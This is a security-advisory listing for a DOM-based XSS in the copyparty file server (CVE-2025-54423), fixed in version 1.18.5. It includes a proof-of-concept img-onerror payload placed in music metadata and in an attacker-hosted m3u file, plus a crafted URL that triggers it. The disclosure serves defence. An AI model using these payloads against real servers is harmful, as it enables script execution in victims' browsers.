Most recent entries from all

CVE-2025-54423 — copyparty has a DOM-Based XSS vulnerability when displaying multimedia metadata

Affected: 9001 copyparty

copyparty is a portable file server. In versions up to and including versions 1.18.4, an unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files. This is fixed in version 1.18.5.

GHSA-9q4r-x2hj-jmvr — copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata

Affected: PyPI: copyparty

### Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files.

### Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `<img src=x onerror=alert(document.domain)>` * an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

### PoC 1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.

```m3u #EXTM3U #EXTINF:1,"><img src=x onerror=alert(document.domain)> - "><img src=x onerror=alert(document.domain)> http://example.com/audio.mp3 ```

2. Craft and share the malicious URL:

``` http://127.0.0.1:3923/#m3u=https://example.com/song.m3u ```

### Impact Any user that accesses this malicious URL is impacted.

PYSEC-2026-1277 — copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata